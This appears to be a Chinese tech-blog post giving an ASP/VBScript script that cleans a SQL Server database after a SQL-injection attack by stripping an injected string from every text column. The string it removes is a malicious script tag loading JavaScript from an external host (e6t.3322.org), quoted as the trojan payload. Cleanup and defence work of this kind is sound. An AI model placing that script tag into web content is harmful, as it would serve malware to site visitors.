1. 首页
  2. 技术知识

恢复 SQL 被注入后的数据代码

<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”936″%>

<!–#include file=”Inc/conn.asp”–>

<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″>

<%

server.ScriptTimeout = 1000000

‘xtype=99 ntext 与text类型相似,不同的是,ntext类型采用unicode标准字符集。

‘xtype=35 text 用于存储大量文本数据。

‘xtype=231 nvarchar 用来定义可变长度的二进制数据,最大长度为4000个字符。

‘xtype=167 varchar 存储最常可以达到8000个字符的变长的字符数据

str = “‘<script src=”http://e6t.3322.org/c.js” src=”http://e6t.3322.org/c.js”></script>'” ‘加在文本类型字段后的木马代码

sql = “SELECT a.name as t_name,b.name as c_name, b.xtype FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype=’u’ AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)”

set rs = conn.execute(sql)

while Not rs.eof

t_name = rs(“t_name”) ‘表名

c_name = rs(“c_name”) ‘字段名

xtype = rs(“xtype”) ‘字段类型

If (xtype = 99 Or xtype = 35) then

conn.execute(“update [” + t_name + “] set [” + c_name + “]=replace(cast([” + c_name + “] as varchar(8000)), ” + str + “, ”)”)

Else

conn.execute(“update [” + t_name + “] set [” + c_name + “]=replace([” + c_name + “], ” + str + “, ”)”)

End If

rs.movenext

wend

response.Write(“已经初步清理了挂马数据,请重新刷新页面试试看!”)

%>

原创文章,作者:starterknow,如若转载,请注明出处:https://www.starterknow.com/114468.html

联系我们